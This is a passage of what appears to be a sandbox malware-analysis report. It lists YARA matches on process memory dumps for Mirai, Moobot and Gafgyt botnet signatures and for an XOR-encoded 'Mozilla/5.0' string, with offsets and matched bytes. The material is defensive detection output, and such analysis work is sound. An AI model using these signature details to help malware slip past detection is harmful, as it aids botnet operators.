39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6977.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6715.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6543.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7130.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7130.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7130.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7130.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7130.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7130.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6597.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7221.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6343.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7205.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6509.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6605.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6605.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6605.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6605.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6605.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6605.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6954.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6954.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6954.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6954.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6954.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6954.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6456.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6239.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6401.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7089.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7089.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7089.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7089.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7089.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7089.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6590.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7140.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6302.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
